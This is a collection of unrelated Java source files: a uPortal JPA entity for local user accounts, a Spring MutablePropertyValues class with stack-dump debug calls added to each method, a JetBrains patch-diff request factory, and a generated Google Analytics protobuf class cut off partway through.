switch (ignoreCase ? name.toLowerCase() : name) {
case "additionalproperties":
case "additionalProperties": return java.lang.Object.class;
default: return null;
}
}
}
| |
/**
* Licensed to Apereo under one or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information regarding copyright ownership. Apereo
* licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use
* this file except in compliance with the License. You may obtain a copy of the License at the
* following location:
*
* <p>http://www.apache.org/licenses/LICENSE-2.0
*
* <p>Unless required by applicable law or agreed to in writing, software distributed under the
* License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apereo.portal.persondir.dao.jpa;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collection;
import java.util.Collections;
import java.util.Date;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import javax.persistence.Cacheable;
import javax.persistence.CascadeType;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.FetchType;
import javax.persistence.GeneratedValue;
import javax.persistence.Id;
import javax.persistence.JoinColumn;
import javax.persistence.OneToMany;
import javax.persistence.SequenceGenerator;
import javax.persistence.Table;
import javax.persistence.TableGenerator;
import javax.persistence.Version;
import org.apereo.portal.persondir.ILocalAccountPerson;
import org.hibernate.annotations.Cache;
import org.hibernate.annotations.CacheConcurrencyStrategy;
import org.hibernate.annotations.Fetch;
import org.hibernate.annotations.FetchMode;
import org.hibernate.annotations.NaturalId;
import org.springframework.util.Assert;
@Entity
@Table(name = "UP_PERSON_DIR")
@SequenceGenerator(
name = "UP_PERSON_DIR_GEN",
sequenceName = "UP_PERSON_DIR_SEQ",
allocationSize = 5)
@TableGenerator(name = "UP_PERSON_DIR_GEN", pkColumnValue = "UP_PERSON_DIR", allocationSize = 5)
@Cacheable
@Cache(usage = CacheConcurrencyStrategy.NONSTRICT_READ_WRITE)
class LocalAccountPersonImpl implements Serializable, ILocalAccountPerson {
private static final long serialVersionUID = 1L;
@Id
@GeneratedValue(generator = "UP_PERSON_DIR_GEN")
@Column(name = "USER_DIR_ID")
private final long id;
@Version
@Column(name = "ENTITY_VERSION")
private final long entityVersion;
@NaturalId
@Column(name = "USER_NAME", length = 100, nullable = false)
private final String name;
@Column(name = "ENCRPTD_PSWD", length = 256)
private String password;
@Column(name = "LST_PSWD_CGH_DT")
private Date lastPasswordChange;
@OneToMany(
targetEntity = LocalAccountPersonAttributeImpl.class,
fetch = FetchType.EAGER,
cascade = CascadeType.ALL,
orphanRemoval = true)
@JoinColumn(name = "USER_DIR_ID", nullable = false)
@Cache(usage = CacheConcurrencyStrategy.NONSTRICT_READ_WRITE)
@Fetch(FetchMode.JOIN)
private final Collection<LocalAccountPersonAttributeImpl> attributes =
new ArrayList<LocalAccountPersonAttributeImpl>(0);
@SuppressWarnings("unused")
private LocalAccountPersonImpl() {
this.id = -1;
this.entityVersion = -1;
this.name = null;
}
public LocalAccountPersonImpl(String name) {
Assert.notNull(name);
this.id = -1;
this.entityVersion = -1;
this.name = name;
}
public LocalAccountPersonImpl(String name, Long Id) {
Assert.notNull(name);
Assert.notNull(Id);
this.id = Id;
this.entityVersion = -1;
this.name = name;
}
@Override
public long getId() {
return id;
}
/* (non-Javadoc)
* @see org.apereo.portal.persondir.jpa.ILocalAccountPersonAttribute#getName()
*/
@Override
public String getName() {
return name;
}
/* (non-Javadoc)
* @see org.apereo.portal.persondir.jpa.ILocalAccountPersonAttribute#getPassword()
*/
@Override
public String getPassword() {
return password;
}
/* (non-Javadoc)
* @see org.apereo.portal.persondir.jpa.ILocalAccountPersonAttribute#setPassword(java.lang.String)
*/
@Override
public void setPassword(String password) {
this.password = password;
}
/* (non-Javadoc)
* @see org.apereo.portal.persondir.jpa.ILocalAccountPersonAttribute#getLastPasswordChange()
*/
@Override
public Date getLastPasswordChange() {
return lastPasswordChange;
}
/* (non-Javadoc)
* @see org.apereo.portal.persondir.jpa.ILocalAccountPersonAttribute#setLastPasswordChange(java.util.Date)
*/
@Override
public void setLastPasswordChange(Date lastPasswordChange) {
this.lastPasswordChange = lastPasswordChange;
}
/* (non-Javadoc)
* @see org.apereo.portal.persondir.jpa.ILocalAccountPersonAttribute#getAttributeValue(java.lang.String)
*/
@Override
public Object getAttributeValue(String name) {
final List<Object> values = this.getAttributeValues(name);
if (values != null && values.size() > 0) {
return values.get(0);
}
return null;
}
/* (non-Javadoc)
* @see org.apereo.portal.persondir.jpa.ILocalAccountPersonAttribute#getAttributeValues(java.lang.String)
*/
@Override
public List<Object> getAttributeValues(String name) {
if (name == null) {
throw new IllegalArgumentException("name cannot be null");
}
for (LocalAccountPersonAttributeImpl attribute : attributes) {
if (name.equals(attribute.getName())) {
return this.getObjectValues(attribute);
}
}
return null;
}
/* (non-Javadoc)
* @see org.apereo.portal.persondir.jpa.ILocalAccountPersonAttribute#getAttributes()
*/
@Override
public Map<String, List<Object>> getAttributes() {
final Map<String, List<Object>> attributeMap = new LinkedHashMap<String, List<Object>>();
for (final LocalAccountPersonAttributeImpl attribute : attributes) {
final List<Object> objValues = this.getObjectValues(attribute);
attributeMap.put(attribute.getName(), objValues);
}
return Collections.unmodifiableMap(attributeMap);
}
@Override
public void setAttribute(String name, String... values) {
this.setAttribute(name, Arrays.asList(values));
}
/* (non-Javadoc)
* @see org.apereo.portal.persondir.jpa.ILocalAccountPersonAttribute#setAttribute(java.lang.String, java.util.List)
*/
@Override
public void setAttribute(String name, List<String> values) {
for (LocalAccountPersonAttributeImpl attribute : attributes) {
if (name.equals(attribute.getName())) {
attribute.setValues(values);
return;
}
}
attributes.add(new LocalAccountPersonAttributeImpl(name, values));
}
public void setAttribute(String name, String value) {
for (LocalAccountPersonAttributeImpl attribute : attributes) {
if (name.equals(attribute.getName())) {
attribute.setValues(Collections.singletonList(value));
return;
}
}
attributes.add(new LocalAccountPersonAttributeImpl(name, Collections.singletonList(value)));
}
@Override
public boolean removeAttribute(String name) {
for (final Iterator<LocalAccountPersonAttributeImpl> itr = attributes.iterator();
itr.hasNext(); ) {
if (itr.next().getName().equals(name)) {
itr.remove();
return true;
}
}
return false;
}
/* (non-Javadoc)
* @see org.apereo.portal.persondir.jpa.ILocalAccountPersonAttribute#setAttributes(java.util.Map)
*/
@Override
public void setAttributes(Map<String, List<String>> attributes) {
// Tries to modify as many of the existing attributes in place to reduce DB churn in
// hibernate
// Make a local copy so we don't edit the original reference
attributes = new LinkedHashMap<String, List<String>>(attributes);
for (final Iterator<LocalAccountPersonAttributeImpl> attributesItr =
this.attributes.iterator();
attributesItr.hasNext(); ) {
final LocalAccountPersonAttributeImpl attribute = attributesItr.next();
// Remove the new values for the attribute from the input map
final String name = attribute.getName();
final List<String> newValues = attributes.remove(name);
// If no new values remove the attribute
if (newValues == null) {
attributesItr.remove();
}
// Otherwise update the existing values
else {
attribute.setValues(new ArrayList<String>(newValues));
}
}
// Add any remaining new attributes to the list
for (final Map.Entry<String, List<String>> attribute : attributes.entrySet()) {
final String name = attribute.getKey();
final List<String> values = attribute.getValue();
this.attributes.add(new LocalAccountPersonAttributeImpl(name, values));
}
}
protected List<Object> getObjectValues(LocalAccountPersonAttributeImpl attribute) {
final List<String> values = attribute.getValues();
final List<Object> objValues = new ArrayList<Object>(values.size());
objValues.addAll(values);
return Collections.unmodifiableList(objValues);
}
@Override
public int hashCode() {
final int prime = 31;
int result = 1;
result = prime * result + ((attributes == null) ? 0 : attributes.hashCode());
result =
prime * result + ((lastPasswordChange == null) ? 0 : lastPasswordChange.hashCode());
result = prime * result + ((name == null) ? 0 : name.hashCode());
result = prime * result + ((password == null) ? 0 : password.hashCode());
return result;
}
@Override
public boolean equals(Object obj) {
if (this == obj) {
return true;
}
if (obj == null) {
return false;
}
if (!(obj instanceof LocalAccountPersonImpl)) {
return false;
}
LocalAccountPersonImpl other = (LocalAccountPersonImpl) obj;
if (attributes == null) {
if (other.attributes != null) {
return false;
}
} else if (!attributes.equals(other.attributes)) {
return false;
}
if (lastPasswordChange == null) {
if (other.lastPasswordChange != null) {
return false;
}
} else if (!lastPasswordChange.equals(other.lastPasswordChange)) {
return false;
}
if (name == null) {
if (other.name != null) {
return false;
}
} else if (!name.equals(other.name)) {
return false;
}
if (password == null) {
if (other.password != null) {
return false;
}
} else if (!password.equals(other.password)) {
return false;
}
return true;
}
@Override
public String toString() {
return "LocalAccountPersonImpl [id="
+ this.id
+ ", entityVersion="
+ this.entityVersion
+ ", name="
+ this.name
+ ", lastPasswordChange="
+ this.lastPasswordChange
+ "]";
}
}
| |
/*
* Copyright 2002-2018 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.springframework.beans;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashSet;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.Spliterator;
import java.util.Spliterators;
import java.util.stream.Stream;
import org.springframework.lang.Nullable;
import org.springframework.util.StringUtils;
/**
* The default implementation of the {@link PropertyValues} interface. Allows
* simple manipulation of properties, and provides constructors to support deep
* copy and construction from a Map.
*
* @author Rod Johnson
* @author Juergen Hoeller
* @author Rob Harrop
* @since 13 May 2001
*/
@SuppressWarnings("serial")
public class MutablePropertyValues implements PropertyValues, Serializable {
private final List<PropertyValue> propertyValueList;
@Nullable
private Set<String> processedProperties;
private volatile boolean converted = false;
/**
* Creates a new empty MutablePropertyValues object.
* <p>
* Property values can be added with the {@code add} method.
*
* @see #add(String, Object)
*/
public MutablePropertyValues() {
this.propertyValueList = new ArrayList<>(0);
}
/**
* Deep copy constructor. Guarantees PropertyValue references are independent,
* although it can't deep copy objects currently referenced by individual
* PropertyValue objects.
*
* @param original the PropertyValues to copy
* @see #addPropertyValues(PropertyValues)
*/
public MutablePropertyValues(@Nullable PropertyValues original) {
// We can optimize this because it's all new:
// There is no replacement of existing property values.
if (original != null) {
PropertyValue[] pvs = original.getPropertyValues();
this.propertyValueList = new ArrayList<>(pvs.length);
for (PropertyValue pv : pvs) {
this.propertyValueList.add(new PropertyValue(pv));
}
} else {
this.propertyValueList = new ArrayList<>(0);
}
}
/**
* Construct a new MutablePropertyValues object from a Map.
*
* @param original a Map with property values keyed by property name Strings
* @see #addPropertyValues(Map)
*/
public MutablePropertyValues(@Nullable Map<?, ?> original) {
// We can optimize this because it's all new:
// There is no replacement of existing property values.
if (original != null) {
this.propertyValueList = new ArrayList<>(original.size());
original.forEach((attrName, attrValue) -> this.propertyValueList
.add(new PropertyValue(attrName.toString(), attrValue)));
} else {
this.propertyValueList = new ArrayList<>(0);
}
}
/**
* Construct a new MutablePropertyValues object using the given List of
* PropertyValue objects as-is.
* <p>
* This is a constructor for advanced usage scenarios. It is not intended for
* typical programmatic use.
*
* @param propertyValueList a List of PropertyValue objects
*/
public MutablePropertyValues(@Nullable List<PropertyValue> propertyValueList) {
this.propertyValueList = (propertyValueList != null ? propertyValueList : new ArrayList<>());
}
/**
* Return the underlying List of PropertyValue objects in its raw form. The
* returned List can be modified directly, although this is not recommended.
* <p>
* This is an accessor for optimized access to all PropertyValue objects. It is
* not intended for typical programmatic use.
*/
public List<PropertyValue> getPropertyValueList()
{Thread.dumpStack();
return this.propertyValueList;
}
/**
* Return the number of PropertyValue entries in the list.
*/
public int size()
{Thread.dumpStack();
return this.propertyValueList.size();
}
/**
* Copy all given PropertyValues into this object. Guarantees PropertyValue
* references are independent, although it can't deep copy objects currently
* referenced by individual PropertyValue objects.
*
* @param other the PropertyValues to copy
* @return this in order to allow for adding multiple property values in a chain
*/
public MutablePropertyValues addPropertyValues(@Nullable PropertyValues other)
{Thread.dumpStack();
if (other != null) {
PropertyValue[] pvs = other.getPropertyValues();
for (PropertyValue pv : pvs) {
addPropertyValue(new PropertyValue(pv));
}
}
return this;
}
/**
* Add all property values from the given Map.
*
* @param other a Map with property values keyed by property name, which must be
* a String
* @return this in order to allow for adding multiple property values in a chain
*/
public MutablePropertyValues addPropertyValues(@Nullable Map<?, ?> other)
{Thread.dumpStack();
if (other != null) {
other.forEach((attrName, attrValue) -> addPropertyValue(new PropertyValue(attrName.toString(), attrValue)));
}
return this;
}
/**
* Add a PropertyValue object, replacing any existing one for the corresponding
* property or getting merged with it (if applicable).
*
* @param pv the PropertyValue object to add
* @return this in order to allow for adding multiple property values in a chain
*/
public MutablePropertyValues addPropertyValue(PropertyValue pv)
{Thread.dumpStack();
for (int i = 0; i < this.propertyValueList.size(); i++) {
PropertyValue currentPv = this.propertyValueList.get(i);
if (currentPv.getName().equals(pv.getName())) {
pv = mergeIfRequired(pv, currentPv);
setPropertyValueAt(pv, i);
return this;
}
}
this.propertyValueList.add(pv);
return this;
}
/**
* Overloaded version of {@code addPropertyValue} that takes a property name and
* a property value.
* <p>
* Note: As of Spring 3.0, we recommend using the more concise and
* chaining-capable variant {@link #add}.
*
* @param propertyName name of the property
* @param propertyValue value of the property
* @see #addPropertyValue(PropertyValue)
*/
public void addPropertyValue(String propertyName, Object propertyValue)
{Thread.dumpStack();
addPropertyValue(new PropertyValue(propertyName, propertyValue));
}
/**
* Add a PropertyValue object, replacing any existing one for the corresponding
* property or getting merged with it (if applicable).
*
* @param propertyName name of the property
* @param propertyValue value of the property
* @return this in order to allow for adding multiple property values in a chain
*/
public MutablePropertyValues add(String propertyName, @Nullable Object propertyValue)
{Thread.dumpStack();
addPropertyValue(new PropertyValue(propertyName, propertyValue));
return this;
}
/**
* Modify a PropertyValue object held in this object. Indexed from 0.
*/
public void setPropertyValueAt(PropertyValue pv, int i)
{Thread.dumpStack();
this.propertyValueList.set(i, pv);
}
/**
* Merges the value of the supplied 'new' {@link PropertyValue} with that of the
* current {@link PropertyValue} if merging is supported and enabled.
*
* @see Mergeable
*/
private PropertyValue mergeIfRequired(PropertyValue newPv, PropertyValue currentPv)
{Thread.dumpStack();
Object value = newPv.getValue();
if (value instanceof Mergeable) {
Mergeable mergeable = (Mergeable) value;
if (mergeable.isMergeEnabled()) {
Object merged = mergeable.merge(currentPv.getValue());
return new PropertyValue(newPv.getName(), merged);
}
}
return newPv;
}
/**
* Remove the given PropertyValue, if contained.
*
* @param pv the PropertyValue to remove
*/
public void removePropertyValue(PropertyValue pv)
{Thread.dumpStack();
this.propertyValueList.remove(pv);
}
/**
* Overloaded version of {@code removePropertyValue} that takes a property name.
*
* @param propertyName name of the property
* @see #removePropertyValue(PropertyValue)
*/
public void removePropertyValue(String propertyName)
{Thread.dumpStack();
this.propertyValueList.remove(getPropertyValue(propertyName));
}
@Override
public Iterator<PropertyValue> iterator()
{Thread.dumpStack();
return Collections.unmodifiableList(this.propertyValueList).iterator();
}
@Override
public Spliterator<PropertyValue> spliterator()
{Thread.dumpStack();
return Spliterators.spliterator(this.propertyValueList, 0);
}
@Override
public Stream<PropertyValue> stream()
{Thread.dumpStack();
return this.propertyValueList.stream();
}
@Override
public PropertyValue[] getPropertyValues()
{Thread.dumpStack();
return this.propertyValueList.toArray(new PropertyValue[0]);
}
@Override
@Nullable
public PropertyValue getPropertyValue(String propertyName)
{Thread.dumpStack();
for (PropertyValue pv : this.propertyValueList) {
if (pv.getName().equals(propertyName)) {
return pv;
}
}
return null;
}
/**
* Get the raw property value, if any.
*
* @param propertyName the name to search for
* @return the raw property value, or {@code null} if none found
* @since 4.0
* @see #getPropertyValue(String)
* @see PropertyValue#getValue()
*/
@Nullable
public Object get(String propertyName)
{Thread.dumpStack();
PropertyValue pv = getPropertyValue(propertyName);
return (pv != null ? pv.getValue() : null);
}
@Override
public PropertyValues changesSince(PropertyValues old)
{Thread.dumpStack();
MutablePropertyValues changes = new MutablePropertyValues();
if (old == this) {
return changes;
}
// for each property value in the new set
for (PropertyValue newPv : this.propertyValueList) {
// if there wasn't an old one, add it
PropertyValue pvOld = old.getPropertyValue(newPv.getName());
if (pvOld == null || !pvOld.equals(newPv)) {
changes.addPropertyValue(newPv);
}
}
return changes;
}
@Override
public boolean contains(String propertyName)
{Thread.dumpStack();
return (getPropertyValue(propertyName) != null
|| (this.processedProperties != null && this.processedProperties.contains(propertyName)));
}
@Override
public boolean isEmpty()
{Thread.dumpStack();
return this.propertyValueList.isEmpty();
}
/**
* Register the specified property as "processed" in the sense of some processor
* calling the corresponding setter method outside of the PropertyValue(s)
* mechanism.
* <p>
* This will lead to {@code true} being returned from a {@link #contains} call
* for the specified property.
*
* @param propertyName the name of the property.
*/
public void registerProcessedProperty(String propertyName)
{Thread.dumpStack();
if (this.processedProperties == null) {
this.processedProperties = new HashSet<>(4);
}
this.processedProperties.add(propertyName);
}
/**
* Clear the "processed" registration of the given property, if any.
*
* @since 3.2.13
*/
public void clearProcessedProperty(String propertyName)
{Thread.dumpStack();
if (this.processedProperties != null) {
this.processedProperties.remove(propertyName);
}
}
/**
* Mark this holder as containing converted values only (i.e. no runtime
* resolution needed anymore).
*/
public void setConverted()
{Thread.dumpStack();
this.converted = true;
}
/**
* Return whether this holder contains converted values only ({@code true}), or
* whether the values still need to be converted ({@code false}).
*/
public boolean isConverted()
{Thread.dumpStack();
return this.converted;
}
@Override
public boolean equals(@Nullable Object other)
{Thread.dumpStack();
return (this == other || (other instanceof MutablePropertyValues
&& this.propertyValueList.equals(((MutablePropertyValues) other).propertyValueList)));
}
@Override
public int hashCode()
{Thread.dumpStack();
return this.propertyValueList.hashCode();
}
@Override
public String toString()
{Thread.dumpStack();
PropertyValue[] pvs = getPropertyValues();
if (pvs.length > 0) {
return "PropertyValues: length=" + pvs.length + "; " + StringUtils.arrayToDelimitedString(pvs, "; ");
}
return "PropertyValues: length=0";
}
}
| |
// Copyright 2000-2020 JetBrains s.r.o. Use of this source code is governed by the Apache 2.0 license that can be found in the LICENSE file.
package com.intellij.openapi.vcs.changes.patch;
import com.intellij.diff.DiffContentFactory;
import com.intellij.diff.DiffRequestFactory;
import com.intellij.diff.InvalidDiffRequestException;
import com.intellij.diff.chains.DiffRequestProducerException;
import com.intellij.diff.contents.DocumentContent;
import com.intellij.diff.merge.MergeCallback;
import com.intellij.diff.merge.MergeRequest;
import com.intellij.diff.merge.MergeResult;
import com.intellij.diff.requests.DiffRequest;
import com.intellij.diff.requests.SimpleDiffRequest;
import com.intellij.diff.util.DiffUtil;
import com.intellij.openapi.diff.DiffBundle;
import com.intellij.openapi.diff.impl.patch.TextFilePatch;
import com.intellij.openapi.diff.impl.patch.apply.GenericPatchApplier;
import com.intellij.openapi.editor.Document;
import com.intellij.openapi.fileTypes.FileType;
import com.intellij.openapi.progress.ProgressIndicator;
import com.intellij.openapi.project.Project;
import com.intellij.openapi.util.NlsContexts;
import com.intellij.openapi.util.UserDataHolder;
import com.intellij.openapi.util.text.StringUtil;
import com.intellij.openapi.vcs.VcsBundle;
import com.intellij.openapi.vcs.changes.Change;
import com.intellij.openapi.vcs.changes.actions.diff.ChangeDiffRequestProducer;
import com.intellij.openapi.vcs.changes.patch.tool.ApplyPatchDiffRequest;
import com.intellij.openapi.vcs.changes.patch.tool.ApplyPatchMergeRequest;
import com.intellij.openapi.vfs.VirtualFile;
import com.intellij.util.Consumer;
import org.jetbrains.annotations.*;
import java.util.Arrays;
import java.util.List;
public final class PatchDiffRequestFactory {
@NotNull
public static DiffRequest createDiffRequest(@Nullable Project project,
@NotNull Change change,
@NotNull String name,
@NotNull UserDataHolder context,
@NotNull ProgressIndicator indicator)
throws DiffRequestProducerException {
ChangeDiffRequestProducer proxyProducer = ChangeDiffRequestProducer.create(project, change);
if (proxyProducer == null) throw new DiffRequestProducerException(VcsBundle.message("changes.error.can.t.show.diff.for", name));
return proxyProducer.process(context, indicator);
}
@NotNull
@CalledInAny
public static DiffRequest createConflictDiffRequest(@Nullable Project project,
@Nullable VirtualFile file,
@NotNull TextFilePatch patch,
@NotNull @NlsContexts.Label String afterTitle,
@NotNull final ApplyPatchForBaseRevisionTexts texts,
@NotNull String name)
throws DiffRequestProducerException {
if (file == null) throw new DiffRequestProducerException(VcsBundle.message("changes.error.can.t.show.diff.for", name));
if (file.getFileType().isBinary()) {
throw new DiffRequestProducerException(VcsBundle.message("changes.error.can.t.show.diff.for.binary.file", name));
}
if (texts.getBase() == null) {
String localContent = texts.getLocal();
final GenericPatchApplier applier = new GenericPatchApplier(localContent, patch.getHunks());
applier.execute();
final AppliedTextPatch appliedTextPatch = AppliedTextPatch.create(applier.getAppliedInfo());
return createBadDiffRequest(project, file, localContent, appliedTextPatch, null, null,
DiffBundle.message("merge.version.title.current"), null);
}
else {
String localContent = texts.getLocal();
String baseContent = texts.getBase();
String patchedContent = texts.getPatched();
return createDiffRequest(project, file, Arrays.asList(localContent, baseContent, patchedContent), null,
Arrays.asList(DiffBundle.message("merge.version.title.current"), DiffBundle.message("merge.version.title.base"),
afterTitle));
}
}
@NotNull
public static DiffRequest createDiffRequest(@Nullable Project project,
@Nullable VirtualFile file,
@NotNull List<String> contents,
@Nullable @NlsContexts.DialogTitle String windowTitle,
@NotNull List<@NlsContexts.Label String> titles) {
assert contents.size() == 3;
assert titles.size() == 3;
if (windowTitle == null) windowTitle = getPatchTitle(file);
String localTitle = StringUtil.notNullize(titles.get(0), VcsBundle.message("patch.apply.conflict.local.version"));
String baseTitle = StringUtil.notNullize(titles.get(1), DiffBundle.message("merge.version.title.base"));
String patchedTitle = StringUtil.notNullize(titles.get(2), VcsBundle.message("patch.apply.conflict.patched.version"));
FileType fileType = file != null ? file.getFileType() : null;
DiffContentFactory contentFactory = DiffContentFactory.getInstance();
DocumentContent localContent = file != null ? contentFactory.createDocument(project, file) : null;
if (localContent == null) localContent = contentFactory.create(project, contents.get(0), fileType);
DocumentContent baseContent = contentFactory.create(project, contents.get(1), fileType);
DocumentContent patchedContent = contentFactory.create(project, contents.get(2), fileType);
return new SimpleDiffRequest(windowTitle, localContent, baseContent, patchedContent,
localTitle, baseTitle, patchedTitle);
}
@NotNull
public static DiffRequest createBadDiffRequest(@Nullable Project project,
@NotNull VirtualFile file,
@NotNull @NonNls String localContent,
@NotNull AppliedTextPatch textPatch,
@Nullable @NlsContexts.DialogTitle String windowTitle,
@Nullable @NlsContexts.Label String localTitle,
@Nullable @NlsContexts.Label String resultTitle,
@Nullable @NlsContexts.Label String patchTitle) {
if (windowTitle == null) windowTitle = getBadPatchTitle(file);
if (localTitle == null) localTitle = VcsBundle.message("patch.apply.conflict.local.version");
if (resultTitle == null) resultTitle = VcsBundle.message("patch.apply.conflict.patched.somehow.version");
if (patchTitle == null) patchTitle = VcsBundle.message("patch.apply.conflict.patch");
DocumentContent resultContent = DiffContentFactory.getInstance().createDocument(project, file);
if (resultContent == null) resultContent = DiffContentFactory.getInstance().create(project, localContent, file);
return new ApplyPatchDiffRequest(resultContent, textPatch, localContent, windowTitle, localTitle, resultTitle, patchTitle);
}
@NotNull
public static MergeRequest createMergeRequest(@Nullable Project project,
@NotNull Document document,
@NotNull VirtualFile file,
@NotNull @NonNls String baseContent,
@NotNull @NonNls String localContent,
@NotNull @NonNls String patchedContent,
@Nullable Consumer<? super MergeResult> callback)
throws InvalidDiffRequestException {
List<String> titles = Arrays.asList(null, null, null);
List<String> contents = Arrays.asList(localContent, baseContent, patchedContent);
return createMergeRequest(project, document, file, contents, null, titles, callback);
}
@NotNull
public static MergeRequest createBadMergeRequest(@Nullable Project project,
@NotNull Document document,
@NotNull VirtualFile file,
@NotNull String localContent,
@NotNull AppliedTextPatch textPatch,
@Nullable Consumer<? super MergeResult> callback)
throws InvalidDiffRequestException {
return createBadMergeRequest(project, document, file, localContent, textPatch, null, null, null, null, callback);
}
@NotNull
public static MergeRequest createMergeRequest(@Nullable Project project,
@NotNull Document document,
@Nullable VirtualFile file,
@NotNull List<String> contents,
@Nullable @NlsContexts.DialogTitle String windowTitle,
@NotNull List<@NlsContexts.Label String> titles,
@Nullable Consumer<? super MergeResult> callback)
throws InvalidDiffRequestException {
assert contents.size() == 3;
assert titles.size() == 3;
if (windowTitle == null) windowTitle = getPatchTitle(file);
String localTitle = StringUtil.notNullize(titles.get(0), VcsBundle.message("patch.apply.conflict.local.version"));
String baseTitle = StringUtil.notNullize(titles.get(1), VcsBundle.message("patch.apply.conflict.merged.version"));
String patchedTitle = StringUtil.notNullize(titles.get(2), VcsBundle.message("patch.apply.conflict.patched.version"));
List<@NlsContexts.Label String> actualTitles = Arrays.asList(localTitle, baseTitle, patchedTitle);
FileType fileType = file != null ? file.getFileType() : null;
return DiffRequestFactory.getInstance().createMergeRequest(project, fileType, document, contents, windowTitle, actualTitles, callback);
}
@NotNull
public static MergeRequest createBadMergeRequest(@Nullable Project project,
@NotNull Document document,
@Nullable VirtualFile file,
@NotNull String localContent,
@NotNull AppliedTextPatch textPatch,
@Nullable @NlsContexts.DialogTitle String windowTitle,
@Nullable @NlsContexts.Label String localTitle,
@Nullable @NlsContexts.Label String resultTitle,
@Nullable @NlsContexts.Label String patchTitle,
@Nullable Consumer<? super MergeResult> callback)
throws InvalidDiffRequestException {
if (!DiffUtil.canMakeWritable(document)) {
throw new InvalidDiffRequestException("Output is read only" + (file != null ? " : '" + file.getPresentableUrl() +"'": ""));
}
if (windowTitle == null) windowTitle = getBadPatchTitle(file);
if (localTitle == null) localTitle = VcsBundle.message("patch.apply.conflict.local.version");
if (resultTitle == null) resultTitle = VcsBundle.message("patch.apply.conflict.patched.somehow.version");
if (patchTitle == null) patchTitle = VcsBundle.message("patch.apply.conflict.patch");
DocumentContent resultContent = DiffContentFactory.getInstance().create(project, document, file);
ApplyPatchMergeRequest request = new ApplyPatchMergeRequest(project, resultContent, textPatch, localContent,
windowTitle, localTitle, resultTitle, patchTitle);
return MergeCallback.register(request, callback);
}
@NotNull
private static @NlsContexts.DialogTitle String getPatchTitle(@Nullable VirtualFile file) {
if (file != null) {
return VcsBundle.message("patch.apply.conflict.for.title", getPresentablePath(file));
}
else {
return VcsBundle.message("patch.apply.conflict.title");
}
}
@Nls
@NotNull
private static String getBadPatchTitle(@Nullable VirtualFile file) {
if (file != null) {
return VcsBundle.message("patch.apply.bad.diff.to.title", getPresentablePath(file));
}
else {
return VcsBundle.message("patch.apply.bad.diff.title");
}
}
@Nls
@NotNull
private static String getPresentablePath(@NotNull VirtualFile file) {
String fullPath = file.getParent() == null ? file.getPresentableUrl() : file.getParent().getPresentableUrl();
return file.getName() + " (" + fullPath + ")";
}
}
| |
/*
* Copyright 2020 Google LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
// Generated by the protocol buffer compiler. DO NOT EDIT!
// source: google/analytics/admin/v1alpha/analytics_admin.proto
package com.google.analytics.admin.v1alpha;
/**
*
*
* <pre>
* Request message for GetMeasurementProtocolSecret RPC.
* </pre>
*
* Protobuf type {@code google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest}
*/
public final class GetMeasurementProtocolSecretRequest
extends com.google.protobuf.GeneratedMessageV3
implements
// @@protoc_insertion_point(message_implements:google.analytics.admin.v1alpha.GetMeasurementProtocolSecretRequest)
GetMeasurementProtocolSecretRequestOrBuilder {
private static final long serialVersionUID = 0L;
// Use GetMeasurementProtocolSecretRequest.newBuilder() to construct.
private GetMeasurementProtocolSecretRequest(
com.google.protobuf.GeneratedMessageV3.Builder<?> builder) {
super(builder);
}
private GetMeasurementProtocolSecretRequest() {
name_ = "";
}
@java.lang.Override
@SuppressWarnings({"unused"})
protected java.lang.Object newInstance(UnusedPrivateParameter unused) {
return new GetMeasurementProtocolSecretRequest();
}
@java.lang.Override
public final com.google.protobuf.UnknownFieldSet getUnknownFields() {
return this.unknownFields;
}
private GetMeasurementProtocolSecretRequest(
com.google.protobuf.CodedInputStream input,
com.google.protobuf.ExtensionRegistryLite extensionRegistry)
throws com.google.protobuf.InvalidProtocolBufferException {
this();
if (extensionRegistry == null) {
throw new java.lang.NullPointerException();
}
com.google.protobuf.UnknownFieldSet.Builder unknownFields =
com.google.protobuf.UnknownFieldSet.newBuilder();
try {
boolean done = false;
while (!done) {
int tag = input.readTag();
switch (tag) {
case 0:
done = true;
break;
case 10:
{
java.lang.String s = input.readStringRequireUtf8();
name_ = s;
break;
}
default:
{
if (!parseUnknownField(input, unknownFields, extensionRegistry, tag)) {
done = true;
}
break;
}
}
}
} catch (com.google.protobuf.InvalidProtocolBufferException e) {
throw e.setUnfinishedMessage(this);
} catch (java.io.IOException e) {
throw new com.google.protobuf.InvalidProtocolBufferException(e).setUnfinishedMessage(this);
} finally {
this.unknownFields = unknownFields.build();
makeExtensionsImmutable();
}
}
public static final com.google.protobuf.Descriptors.Descriptor getDescriptor() {
return com.google.analytics.admin.v1alpha.AnalyticsAdminProto
.internal_static_google_analytics_admin_v1alpha_GetMeasurementProtocolSecretRequest_descriptor;
}
@java.lang.Override
protected com.google.protobuf.GeneratedMessageV3.FieldAccessorTable
internalGetFieldAccessorTable() {
return com.google.analytics.admin.v1alpha.AnalyticsAdminProto
.internal_static_google_analytics_admin_v1alpha_GetMeasurementProtocolSecretRequest_fieldAccessorTable
.ensureFieldAccessorsInitialized(
